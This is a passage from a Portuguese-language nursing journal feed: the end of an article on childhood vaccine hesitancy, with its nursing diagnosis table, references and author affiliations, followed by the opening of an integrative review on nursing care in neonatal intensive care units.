(5240)</td></tr><tr><td></td><td></td><td></td></tr><tr><td><strong>Doença erradicada/Eficácia das vacinas</strong></td><td>&#8211; Resposta imune prejudicada relacionada à hesitação vacinal, evidenciada por aumento de doenças preveníveis.<br>&#8211; Risco de infecção relacionado à adesão inadequada às recomendações de saúde pública e vacinação insuficiente.</td><td>&#8211; Controle de doenças transmissíveis (8820) &#8211; Desenvolvimento de programa de saúde (8700)- Controle de doenças transmissíveis (8820)<br>&#8211; Controle de imunização/vacinação (6530)</td></tr><tr><td></td><td></td><td></td></tr><tr><td><strong>Desconfiança da vacina/serviço/profissional de saúde</strong></td><td>&#8211; Autoeficácia em saúde inadequada relacionada à confiança insuficiente na equipe de saúde, evidenciado por adesão vacinal deficiente.<br>&#8211; Risco de comportamentos ineficazes de manutenção da saúde relacionados à confiança inadequada na equipe.</td><td>&#8211; Orientação quanto ao sistema de saúde (7400) <br>&#8211; Controle do ambiente: comunidade (6484)- Controle de qualidade (7800) &#8211; Controle de doenças transmissíveis (8820)</td></tr><tr><td><strong>Crenças pessoais</strong></td><td>&#8211; Comportamentos ineficazes de manutenção da saúde relacionados a conflitos entre crenças culturais e práticas de saúde, evidenciado por conflitos espirituais.<br>&#8211; Gestão ineficaz da saúde familiar relacionada a conflitos espirituais com o regime terapêutico, evidenciado por escolhas baseadas unicamente em crenças.</td><td>&#8211; Educação em saúde (5510) &#8211; Intermediação cultural (7330)<br>&#8211; Educação em saúde (5510) &#8211; Advocacia na saúde comunitária (8510)</td></tr><tr><td><strong>Pandemia COVID-19</strong></td><td>&#8211; Tomada de decisão prejudicada relacionada a fontes de informação conflitantes, evidenciado por angústia ao decidir sobre a vacinação.<br>&#8211; Sofrimento moral relacionado a informações conflitantes, evidenciado por angústia ao agir conforme a própria moral.</td><td>&#8211; Apoio à tomada de decisão (5250) – esclarecer valores, vantagens e desvantagens das opções.<br>&#8211; Educação em saúde (5510) &#8211; Gerenciamento de caso (7320)</td></tr><tr><td></td><td></td><td></td></tr><tr><td><strong>Difícil acesso (serviço/saúde/transporte/socioeconômico)</strong></td><td>&#8211; Enfrentamento desadaptativo da comunidade relacionado a recursos insuficientes, evidenciado por baixa cobertura vacinal.<br>&#8211; Gestão ineficaz da saúde da comunidade relacionada a acesso limitado à equipe de saúde, evidenciado por problemas de transporte.</td><td>&#8211; Desenvolvimento de programa de saúde (8700)<br>&#8211; Assistência quanto a recursos financeiros (7380)<br>&#8211; Orientação quanto ao sistema de saúde (7400) <br>&#8211; Controle do ambiente: comunidade (6484)</td></tr><tr><td></td><td></td><td></td></tr><tr><td><strong>Falta de vacinas</strong></td><td>&#8211; Resposta imune prejudicada relacionada à desesperança, evidenciado pelo nível inadequado de vacinação devido à indisponibilidade.<br>&#8211; Gestão ineficaz da saúde da comunidade relacionada à insuficiência de recursos de saúde, evidenciado por falta de vacinas.</td><td>&#8211; Controle de imunização/vacinação (6530) <br>&#8211; Marketing social (8750)<br>&#8211; Controle de imunização/vacinação (6530) <br>&#8211; Preparo da comunidade para catástrofes (8840)</td></tr><tr><td></td><td></td><td></td></tr><tr><td><strong>Negligência / adoecimento das crianças</strong></td><td>&#8211; Conflito excessivo no papel parental relacionado ao conhecimento inadequado sobre a saúde da criança, evidenciado por negligência vacinal.<br>&#8211; Comportamentos parentais prejudicados relacionados ao conhecimento inadequado, evidenciado por atraso vacinal devido à hesitação.</td><td>&#8211; Controle de imunização/vacinação (6530) – informar exigências legais e notificar famílias.<br>&#8211; Controle de imunização/vacinação (6530) – auditoria dos registros escolares &#8211; Observar histórico de saúde e alergias.</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Diagnósticos retirados da NANDA International (2024-2026) e intervenções baseadas no NIC &#8211; Classificação das Intervenções de Enfermagem, (2020).</p>



<p class="wp-block-paragraph">Diante da multiplicidade de fatores que contribuem para a hesitação vacinal, a elaboração de diagnósticos de enfermagem com base na NANDA-I e a aplicação de intervenções fundamentadas na NIC (Nursing Interventions Classification) tornam-se instrumentos valiosos para orientar práticas clínicas sistematizadas e eficazes.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONCLUSÃO/CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">A hesitação vacinal constitui um desafio relevante para a cobertura vacinal no Brasil, exige estratégias integradas e baseadas em evidências por parte dos profissionais de saúde. Fatores como a desinformação, a disseminação de fake news e a influência de movimentos anti vacinas têm contribuído diretamente para a desconfiança da população em relação às vacinas e à redução das taxas de imunização, especialmente na infância.</p>



<p class="wp-block-paragraph">Nesse contexto, a enfermagem assume um papel central, sendo responsável por orientar a comunidade, promover o acesso a informações seguras e atuar como elo entre o sistema de saúde e a população. A formulação de diagnósticos precisos, aliados a intervenções específicas e planejadas, fortalece a prática assistencial, que contribui para a superação de barreiras à adesão vacinal.</p>



<p class="wp-block-paragraph">Campanhas educativas, visitas domiciliares, apoio contínuo às famílias e auditorias nos serviços de saúde representam ações fundamentais que devem ser implementadas de forma sistemática, com o envolvimento direto da equipe de enfermagem. Essas estratégias permitem não apenas ampliar a cobertura vacinal, mas também restabelecer a confiança social nas práticas de imunização.</p>



<p class="wp-block-paragraph">Além disso, observou-se uma lacuna na literatura quanto a estudos práticos voltados à atuação da enfermagem frente à hesitação vacinal. Isso evidencia a necessidade de incentivar a produção científica aplicada, ao promover a formação de profissionais mais preparados para enfrentar os desafios contemporâneos da saúde pública.</p>



<p class="wp-block-paragraph">Portanto, este estudo reafirma a importância da enfermagem como agente protagonista na promoção da imunização infantil e no enfrentamento da hesitação vacinal, contribuindo de maneira decisiva para a proteção coletiva e o fortalecimento do Sistema Único de Saúde.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ALMEIDA, C.C.S., et al. O papel do enfermeiro na ampliação da adesão à vacinação infantil: uma revisão de literatura. Revista JRG de estudos acadêmicos, v.7, n.14, p.1062 – 2024&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. Disponível em: https: //www.gov.br/saúde/pt-br/vacinacao. Acesso em maio de 2025.&nbsp;</p>



<p class="wp-block-paragraph">BUTCHER.H. K, et al, NIC Classificações das intervenções de enfermagem 2020. 7° edição. Rio de Janeiro: Guanabara Koogan 2020. ISBN 978-85-9515-7613.&nbsp;</p>



<p class="wp-block-paragraph">CALDAS, A. C. L., et al. Os desafios do profissional de enfermagem frente à baixa cobertura vacinal em crianças. Revista Foco, v. 16 n.10 p.186 &#8211; 186 &#8211; 2023&nbsp;</p>



<p class="wp-block-paragraph">GIL, A. C. Como Elaborar projetos de pesquisa. 4° edição, Editora Atlas, São Paulo &#8211; 2002&nbsp;</p>



<p class="wp-block-paragraph">GUGEL, S., et al. Percepções acerca da importância da vacinação e da recusa vacinal: uma revisão bibliográfica. Brazilian Journal of Development, Curitiba, v.7, n.3, p.22710 – 22722, mar 2021.&nbsp;</p>



<p class="wp-block-paragraph">HEATHER, Herdman, T.; SHIGEMI, Kamitsuru,; AL., Lopes, Camila Takáo E. Diagnósticos de Enfermagem da NANDA-I: Definições e Classificação 2024-2026. 13ª edição. Porto Alegre: ArtMed, 2024. E-book. p.ii. ISBN 9786558822547. Disponível em: https://integrada.minhabiblioteca.com.br/reader/books/9786558822547/. Acesso em: 20 nov. 2025.</p>



<p class="wp-block-paragraph">KFOURI, R.A; LEVI, G. C; CUNHA, J. CONTROVÉRSIAS EM IMUNIZAÇÕES 2023 – 1. ed. São Paulo: Segmento Farma – 2024&nbsp;</p>



<p class="wp-block-paragraph">LOPES, G.H., et al. A influência das fake news na adesão à vacinação e no reaparecimento de doenças erradicadas: uma revisão de literatura. Revista Eletrônica Acervo Médico, v.15 – 2022&nbsp;</p>



<p class="wp-block-paragraph">MACIEL, A. P. F., et al. Implementação da prática avançada de enfermagem no enfrentamento do atraso vacinal: um relato de experiência. Online Braz J Nursing, 22 Suppl 2: e20246693 – 2023&nbsp;</p>



<p class="wp-block-paragraph">MORAIS, J.N; QUINTILIO, M.S.V. Fatores que levam à baixa cobertura vacinal de crianças e o papel da enfermagem – revisão literária. Revista interfaces, v.9, n.2, p 1054-1063 – 2021&nbsp;</p>



<p class="wp-block-paragraph">NOBRE, R., GUERRA, L. D. S., CARNUT, L. Hesitação e recusa vacinal em países com sistemas universais de saúde: uma revisão integrativa sobre seus efeitos. Saúde Debate – Rio de Janeiro, v.46, n. especial 1, p.303-321 – 2022&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, J. M. S., et al. Estudo epidemiológico da cobertura vacinal contra o sarampo em menores de 01 ano pós pandemia do COVID-19 no Brasil e sua correlação com o ressurgimento dos casos de sarampo. Revista JRG de estudos acadêmicos, v.7, n.14 – 2024</p>



<p class="wp-block-paragraph">SANTOS, E. A., et al. Atuação do enfermeiro na hesitação vacinal e recusa vacinal. RRS FESGO, v.03, n.2, p. 193-197 – 2020.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, J. A., LEMOS, P. L., GONÇALVES, L. A. R. Fatores que contribuem para a hesitação e recusa vacinal no Brasil. Multitemas – Campo Grande – v. 28, n. 69, p. 259-275 – 2023&nbsp;</p>



<p class="wp-block-paragraph">SARAIVA, L. J. C.; FRANTZ, J. A Ciência e a Mídia: A propagação de fake news e sua relação com o movimento anti-vacina no Brasil. Intercom – Sociedade Brasileira de Estudos interdisciplinares da comunicação, Belém – 2019 Medicina&nbsp;</p>



<p class="wp-block-paragraph">SILVA, M. P. S. O papel das plataformas digitais na (não) vacinação: Como os usuários das plataformas digitais expressam seus argumentos sobre a vacina contra sarampo. Orientador: Dr. Expedito José de Albuquerque Luna. 2023. Dissertação (Mestrado profissional em Tropical) – Universidade de São Paulo. Disponível em: https://www.teses.usp.br/teses/disponiveis/5/5179/tde-04082023-163649/en.php. Acesso em: 15 mai. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, J. C. L., et al. Reflexos e resultados do PNI desde sua implementação até o presente. Científica Multidisciplinary Journal, v.8 n.2 – 2021.&nbsp;</p>



<p class="wp-block-paragraph">TASCHNER, N. P.; ALMEIDA, P. V. G. Vacinas como direitos humanos. Revista Defensoria Pública da União, Brasília, DF, n.19, p.1-285, jan/jun. 2023.&nbsp;</p>



<p class="wp-block-paragraph">VIANA, I. S., et al. Hesitação vacinal de pais e familiares de crianças e o controle das doenças imunopreveníveis. s. Cogitare Enfermagem, v, 28. – 2023&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">VIEIRA, A. M. S. Fatores associados à cobertura vacinal infantil no Brasil e unidades de federação. Orientador: Drª Mirela Castro Santos Camargos. 2023. Trabalho de conclusão de Curso (Mestrado profissional em Gestão de serviços de saúde) – Universidade Federal de Minas Gerais. Disponível em: https://pesquisa.bvsalud.org/portal/resource/pt/biblio-1567923. Acesso em: 20 mai. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: carpdossmc@gmail.com<br><sup>2</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: leirmarins@hotmail.com<br><sup>3</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: rrmarianascimento@gmail.com<br><sup>4</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: vitoria1999eloir@hotmail.com<br><sup>5</sup>Mestre em Enfermagem, Docente Convidado da Pós-Graduação em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: profclaudemirsj@gmail.com<br><sup>6</sup>Especialização em Enfermagem Psiquiatria e Saúde Mental, Docente pela Universidade Castelo Branco, Campus Realengo, RJ/Brasil, e-mail: calazans_rj@yahoo.com.br<br><sup>7</sup>Mestrado Profissional em Enfermagem, Docente pela Universidade Castelo Branco, Campus Realengo, RJ/Brasil e-mail: enfaligiaprado@hotmail.com<br><sup>8</sup>Especialista em gestão de saúde pela Universidade Estado do Rio de Janeiro e-mail: velasco.t.alessandra@gmail.com<br><sup>9</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: tamara.araujo.enf@gmail.com<br><sup>10</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: catia.kurpan@fiocruz.br<br><sup>11</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: raqueldanello06@gmail.com<br><sup>12</sup>Enfermeira Especialista em Estratégia da Família e Comunidade pela UERJ na modalidade de residência, e-mail: pireddabeatriz@gmail.com<br><sup>13</sup>Enfermeira Especialista em Estratégia da Família e Comunidade pela UERJ na modalidade de residência, e-mail: cassiane.csq@gmail.com<br><sup>14</sup>Enfermeiro Especialista em Saúde da Família nos&nbsp; moldes de residência pela Secretária Municipal de Saúde com convênio com a UNIGRANRIO, e-mail: brunomiguel.cap33@gmail.com<br><sup>15</sup>Especialista em Enfermagem do Trabalho pela Universidade Estácio de Sá, RJ/Brasil. E-mail: apbspx@gmail.com</p>
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		<title>REVISÃO INTEGRATIVA DAS PRÁTICAS ASSISTENCIAIS, TECNOLÓGICAS E HUMANIZADAS NOS CUIDADOS DE ENFERMAGEM EM UNIDADES DE TERAPIA INTENSIVA NEONATAL</title>
		<link>https://revistaft.com.br/revisao-integrativa-das-praticas-assistenciais-tecnologicas-e-humanizadas-nos-cuidados-de-enfermagem-em-unidades-de-terapia-intensiva-neonatal/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 12 Jan 2026 16:48:27 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[INTEGRATIVE REVIEW OF CARE, TECHNOLOGICAL, AND HUMANIZED PRACTICES IN NURSING CARE IN NEONATAL INTENSIVE CARE UNITS REGISTRO DOI: 10.69849/revistaft/cl10202601121347 Ana Beatriz da Conceição Soares1 / Debora Pereira Lacerda2 / Larissa Pereira Farias3 / Rita Rafaelle Ottoline Cockrane4 / Thays Da Silva Cabral5 / Claudemir Santos de Jesus6 / Márcia Calazans de Almeida Brunner7 / Lígia [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">INTEGRATIVE REVIEW OF CARE, TECHNOLOGICAL, AND HUMANIZED PRACTICES IN NURSING CARE IN NEONATAL INTENSIVE CARE UNITS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601121347</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Ana Beatriz da Conceição Soares<sup>1</sup> / Debora Pereira Lacerda<sup>2</sup> / Larissa Pereira Farias<sup>3</sup> / Rita Rafaelle Ottoline Cockrane<sup>4</sup> / Thays Da Silva Cabral<sup>5</sup> / Claudemir Santos de Jesus<sup>6</sup> / Márcia Calazans de Almeida Brunner<sup>7</sup> / Lígia D’arc Silva Rocha Prado<sup>8</sup> / Alessandra Teixeira Velasco<sup>9</sup> / Beatriz Piredda Barrilhas<sup>10</sup> / Elisa Keli Fortunato Mendes da Silva<sup>11</sup> / Miriam de Souza<sup>12</sup> / Luana Santos De Souza Vidal<sup>13</sup> / Ana Silvia Lopes<sup>14</sup> / Carla Pereira Dos Santos<sup>15</sup></p>



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<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">O presente estudo tem como objetivo analisar, por meio de uma revisão bibliográfica de caráter exploratório, os principais fundamentos técnico-assistenciais e humanísticos que norteiam o cuidado de enfermagem em Unidades de Terapia Intensiva Neonatal (UTIN). A investigação foi estruturada a partir de nove eixos temáticos: caracterização do paciente neonatal, segurança do paciente, manejo da dor, competências profissionais, cuidado desenvolvimental, uso de PICC, cuidados com cateteres e sondas, suporte ventilatório (invasivo e não invasivo) e educação continuada dos pais na alta hospitalar. A coleta de dados foi realizada em bases científicas como SciELO, BVS, PubMed e Google Acadêmico, ao considerar publicações entre 2018 e 2024. Os resultados evidenciam que a atuação da enfermagem neonatal exige competências técnicas avançadas, sensibilidade humanizada e compromisso com a segurança do paciente. Observou-se a importância da padronização de condutas, do uso de protocolos baseados em evidências e do fortalecimento da formação profissional. A alta hospitalar foi reconhecida como um momento crítico de transição que requer educação sistematizada dos pais. Conclui-se que o cuidado neonatal, para além da técnica, deve ser compreendido como prática relacional, ética e centrada na singularidade do recém-nascido.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Enfermagem neonatal. Terapia intensiva. Segurança do paciente. Desenvolvimento infantil. Alta hospitalar.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A assistência ao recém-nascido hospitalizado, representa um dos desafios da prática de enfermagem contemporânea, o que exige conhecimento técnico especializado, sensibilidade, ética e capacidade de atuação integrada com a equipe multiprofissional.</p>



<p class="wp-block-paragraph">A complexidade do cuidado decorre da vulnerabilidade fisiológica do neonato, da necessidade de tecnologias de suporte à vida e da imprevisibilidade clínica que caracteriza os primeiros dias de vida, especialmente nos casos de prematuridade ou malformações congênitas (ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">O perfil do paciente neonatal em UTIN, inclui recém-nascidos de risco como prematuros extremos, baixo peso ao nascer, síndromes genéticas ou os que necessitam de suporte respiratório e terapias invasivas.</p>



<p class="wp-block-paragraph">As características anatômicas e fisiológicas como a imaturidade do sistema nervoso central, pulmonar e imunológico, os tornam suscetíveis a eventos adversos, o que exige cuidados sistematizados, constantes e baseados em evidências (BERNARDINO et al., 2020; COSTA et al., 2021).</p>



<p class="wp-block-paragraph">Nesse contexto, a segurança do paciente neonatal se configura como eixo central da assistência, sendo incorporada às políticas institucionais e diretrizes nacionais, como a Política Nacional de Segurança do Paciente (PNSP), cuja atuação do enfermeiro inclui a prevenção de falhas assistenciais, como administração inadequada de medicamentos, uso incorreto de dispositivos, deficiências na comunicação e falhas na identificação da clientela, sendo todos considerados eventos evitáveis com impacto direto na morbimortalidade neonatal (SANTOS <em>apud </em>SILVA, 2020).</p>



<p class="wp-block-paragraph">Entre os fatores de risco negligenciados na prática clínica está o manejo da dor, que por muito tempo foi subestimado no período neonatal, entretanto, evidências científicas já comprovam que o recém-nascido é capaz de sentir dor intensamente, que se não tratada, pode provocar alterações hemodinâmicas, metabólicas e neurocomportamentais, o que faz a avaliação e o alívio da dor se tornar uma responsabilidade ética e técnica do enfermeiro, no uso de intervenções não farmacológicas e farmacológicas adequadas (UEMA <em>et al</em>., 2021).</p>



<p class="wp-block-paragraph">Para garantir a integralidade do cuidado, o enfermeiro desenvolve competências específicas no ambiente de alta complexidade, como domínio da ventilação mecânica, inserção de cateter central de inserção periférica (PICC), mensuração correta de sondas e aplicação do cuidado, cujas habilidades se moldam nla formação técnica, prática clínica, educação permanente e pela atuação com empatia, comunicação efetiva e pensamento crítico (FERRO <em>apud</em> ULIAN., 2023).</p>



<p class="wp-block-paragraph">Além da dimensão técnica, destaca-se o cuidado centrado na família, especialmente no momento da alta hospitalar, quando os pais passam a assumir integralmente o cuidado do neonato em domicílio. A educação em saúde, promovida pela equipe de enfermagem durante todo o processo de hospitalização, é essencial para garantir a continuidade do cuidado e prevenir complicações após a alta. Estratégias como escuta ativa, linguagem acessível, uso de materiais educativos e envolvimento progressivo dos pais nas rotinas de cuidado têm se mostrado eficazes nesse processo (ROSA <em>apud </em>ARAÚJO, 2022).</p>



<p class="wp-block-paragraph">Diante dessa complexidade multifatorial, torna-se fundamental investigar como os diferentes eixos do cuidado de enfermagem em UTIN — segurança, manejo da dor, competências profissionais, cuidado com dispositivos invasivos, ventilação mecânica, cuidado desenvolvimental e educação parental — interagem na construção de uma assistência neonatal segura, humanizada e tecnicamente qualificada. A presente monografia, de natureza exploratória e fundamentada em revisão bibliográfica, propõe-se a analisar essas dimensões de forma articulada, a fim de subsidiar a prática profissional com conhecimento atualizado e fundamentado na melhor evidência disponível.</p>



<p class="wp-block-paragraph">A atuação do enfermeiro em Unidades de Terapia Intensiva Neonatal (UTIN) demanda mais do que domínio técnico: exige uma compreensão ampliada dos múltiplos fatores que envolvem o cuidado ao recém-nascido crítico. A imaturidade fisiológica, a necessidade de tecnologias avançadas e a instabilidade clínica constante colocam o paciente neonatal como um dos mais vulneráveis do ambiente hospitalar. Neste cenário, a assistência de enfermagem torna-se decisiva para a prevenção de agravos, o monitoramento contínuo e a implementação de intervenções individualizadas e seguras (COSTA <em>.apud </em>BERNARDINO, 2020).</p>



<p class="wp-block-paragraph">Apesar dos avanços nos protocolos assistenciais e nas evidências científicas, ainda se observam lacunas significativas na prática clínica, especialmente no que se refere à segurança do paciente, ao manejo sistemático da dor, à aplicação adequada de dispositivos invasivos e à efetiva comunicação com os familiares. Estudos apontam que falhas como a inserção incorreta de sondas, a subutilização de estratégias de analgesia não farmacológica e a deficiência na capacitação para uso de PICC e ventilação não invasiva são realidades frequentes nas UTINs brasileiras (SOUZA; ARAÚJO; BARRETO, 2022; UEMA <em>et al</em>., 2021; GREBINSKI <em>et al.</em>, 2023).</p>



<p class="wp-block-paragraph">Diante dessa realidade, torna-se necessário revisar criticamente as práticas de enfermagem neonatal, podem identificar os pontos de convergência entre os princípios técnico-científicos e os aspectos humanísticos do cuidado. O cuidado desenvolvimental, por exemplo, embora respaldado por políticas como o Método Canguru e programas como o NIDCAP, ainda enfrenta resistências institucionais e limitações formativas para a plena execução, conforme apontado por Medeiros <em>et al.</em> (2023). A análise desses elementos, à luz das competências profissionais exigidas, pode contribuir para a construção de uma prática mais segura, empática e eficaz.</p>



<p class="wp-block-paragraph">Além disso, o enfermeiro permanece mais tempo ao lado do neonato, o que cabe a responsabilidade de mediar a tecnologia e a vida, para garantir intervenções precisas e ao mesmo tempo acolhedoras. A atuação também é essencial no preparo dos pais para a alta hospitalar, especialmente quando o recém-nascido depende de cuidados domiciliares complexos, como oxigenoterapia, gastrostomia ou uso de medicamentos contínuos (ARAÚJO<em> apud </em>ROSA, 2022). Assim, a presença ativa e orientadora da enfermagem contribui diretamente para a continuidade segura do cuidado e a redução de reinternações.</p>



<p class="wp-block-paragraph">Justifica-se, portanto, a relevância desta monografia, que propõe uma análise integrativa das práticas de enfermagem em UTIN, com foco em nove eixos temáticos interdependentes: caracterização do paciente neonatal, segurança, dor, competências, cuidado desenvolvimental, PICC, sondas e cateteres, ventilação mecânica e educação familiar. Trata-se de uma proposta pertinente à formação de especialistas e à qualificação dos serviços de saúde, à medida que promove o alinhamento entre conhecimento teórico, reflexão crítica e responsabilidade ética na assistência neonatal (FERRO .<em>apud </em>ULIAN, 2023).</p>



<p class="wp-block-paragraph">A complexidade do cuidado ao recém-nascido em Unidade de Terapia Intensiva Neonatal (UTIN) exige do enfermeiro uma prática pautada na segurança, na sensibilidade e no domínio técnico-científico. O ambiente altamente tecnificado, associado à vulnerabilidade fisiológica dos neonatos, impõe uma rotina assistencial que deve ser rigorosamente sistematizada, sob risco de ocorrência de eventos adversos evitáveis. No entanto, mesmo diante do avanço das diretrizes institucionais e da consolidação de protocolos clínicos baseados em evidências, muitas lacunas persistem no cotidiano das unidades, especialmente relacionadas ao manejo da dor, ao uso de dispositivos invasivos e à comunicação com os pais (SANTOS, 2023; GREBINSKI <em>et al</em>., 2023).</p>



<p class="wp-block-paragraph">A literatura aponta que práticas assistenciais não padronizadas, deficiências na formação técnica e resistências organizacionais à implementação de estratégias como o cuidado desenvolvimental e a sistematização da assistência ainda comprometem a qualidade do cuidado prestado ao neonato. Além disso, a ausência de planejamento educativo para o momento da alta hospitalar dificulta a transição segura para o domicílio, o que amplia o risco de desfechos negativos e reinternações (MEDEIROS <em>et al</em>., 2023; ARAÚJO <em>et al</em>., 2022). Tais fragilidades justificam a necessidade de uma investigação teórica que articule os diversos eixos da assistência neonatal em uma abordagem integrativa, crítica e fundamentada.</p>



<p class="wp-block-paragraph">Diante deste cenário, o presente estudo parte da seguinte hipótese: a integração entre práticas baseadas em evidências, competência técnica especializada, comunicação humanizada e educação familiar contribui para a segurança do paciente e a qualidade da assistência em UTIN, por considerar a natureza exploratória da presente pesquisa, a hipótese não busca comprovação empírica, mas sim promover reflexões críticas e fundamentadas sobre os principais pilares da assistência neonatal.</p>



<p class="wp-block-paragraph">A pesquisa teve como objetivo: analisar, por meio de revisão integrativa os fundamentos técnicos, assistenciais e humanísticos do cuidado de enfermagem em Unidades de Terapia Intensiva Neonatal, com base em práticas centradas na segurança do paciente.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>FUNDAMENTAÇÃO TEÓRICA OU REVISÃO DA LITERATURA</strong></p>



<p class="wp-block-paragraph"><strong>Caracterização do Paciente Neonatal</strong></p>



<p class="wp-block-paragraph">O paciente neonatal é definido como todo indivíduo nascido vivo, desde o momento do nascimento até o 28º dia de vida, período que corresponde ao chamado período neonatal. No entanto, nas unidades de terapia intensiva neonatal (UTIN), esse conceito se expande e incorpora aspectos clínicos, fisiológicos e evolutivos que determinam a complexidade da assistência prestada. A presença de prematuridade, baixo peso ao nascer, alterações genéticas, malformações congênitas ou complicações decorrentes do parto são fatores que influenciam diretamente a vulnerabilidade desse grupo etário (COSTA et al., 2021).</p>



<p class="wp-block-paragraph">A classificação dos recém-nascidos é essencial para direcionar o cuidado de enfermagem. Segundo a Organização Mundial da Saúde (OMS), os neonatos podem ser classificados com base na idade gestacional (pré-termo, a termo ou pós-termo), peso ao nascer (baixo peso, muito baixo peso ou extremo baixo peso) e presença de patologias. Essa classificação permite identificar precocemente riscos como sepse, disfunções respiratórias, hemorragias, alterações metabólicas e neurológicas, muito comuns entre os prematuros extremos (BERNARDINO et al., 2020).</p>



<p class="wp-block-paragraph">A imaturidade fisiológica é um dos principais desafios na assistência neonatal. O sistema respiratório, por exemplo, frequentemente necessita de suporte ventilatório devido à deficiência de surfactante, condição típica dos recém-nascidos prematuros. O sistema imunológico também se encontra subdesenvolvido, ao favorecer a ocorrência de infecções hospitalares, enquanto o sistema nervoso central ainda está em fase de mielinização, o que compromete a termorregulação, a coordenação motora e a percepção da dor (ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">A enfermagem desempenha papel central na identificação precoce de alterações clínicas nos neonatos. Alterações mínimas de coloração da pele, frequência respiratória ou padrão de choro podem ser indícios de deterioração aguda do quadro clínico. O olhar sensível e treinado da equipe de enfermagem é indispensável para garantir intervenções rápidas e adequadas, além de contribuir para o prognóstico e a sobrevida dos pacientes (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">Além das características fisiológicas, o paciente neonatal exige atenção especial pela limitação na comunicação verbal e comportamental. A linguagem do choro, da expressão facial e dos sinais vitais são os únicos meios de comunicação com a equipe assistencial, o que reforça a necessidade de conhecimento aprofundado em semiologia neonatal e sensibilidade clínica (UEMA et al., 2021).</p>



<p class="wp-block-paragraph">Outro aspecto relevante é a dependência de suporte tecnológico. Muitos neonatos internados em UTIN necessitam de incubadoras, bombas de infusão, monitores multiparamétricos, suporte ventilatório e dispositivos invasivos como sondas, cateteres ou PICC. A correta manipulação desses recursos, aliada ao monitoramento contínuo, é essencial para evitar complicações iatrogênicas, como infecções relacionadas à assistência à saúde (IRAS) e lesões por pressão (CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">A caracterização do paciente neonatal também abrange os aspectos psicossociais do cuidado. O neonato hospitalizado é um ser em desenvolvimento que vivencia experiências precoces de dor, separação familiar e intervenções invasivas. Tais vivências têm potencial de repercussões a longo prazo no desenvolvimento cognitivo, emocional e neurológico, o que reforça a importância de estratégias como o cuidado humanizado e o suporte ao vínculo familiar (MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">No campo da enfermagem, a Sistematização da Assistência de Enfermagem (SAE) voltada ao paciente neonatal deve considerar a singularidade, a complexidade dos diagnósticos e a individualização do plano de cuidado. Essa sistematização exige domínio conceitual de diagnósticos de enfermagem, como troca gasosa prejudicada, risco de infecção, termorregulação ineficaz, nutrição desequilibrada e dor aguda (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">É importante destacar que, além do cuidado direto, a enfermagem neonatal também é responsável pela vigilância contínua do ambiente físico, para evitar oscilações de temperatura, ruídos excessivos e iluminação inadequada, fatores que interferem diretamente na estabilidade clínica do neonato. A atuação proativa da equipe no controle ambiental representa uma forma de cuidado indireto, mas fundamental para a manutenção da homeostase (SANTOS, 2023).</p>



<p class="wp-block-paragraph">Por fim, compreender o perfil clínico, fisiológico, emocional e tecnológico do paciente neonatal é o ponto de partida para uma assistência de excelência. A caracterização precisa do neonato internado em UTIN permite não apenas guiar as ações de enfermagem, mas também fomentar práticas baseadas em evidências, fortalecer o cuidado centrado no paciente e contribuir para a redução da morbimortalidade neonatal (FERRO et al., 2023).</p>



<p class="wp-block-paragraph"><strong>A Segurança do Paciente Neonatal</strong></p>



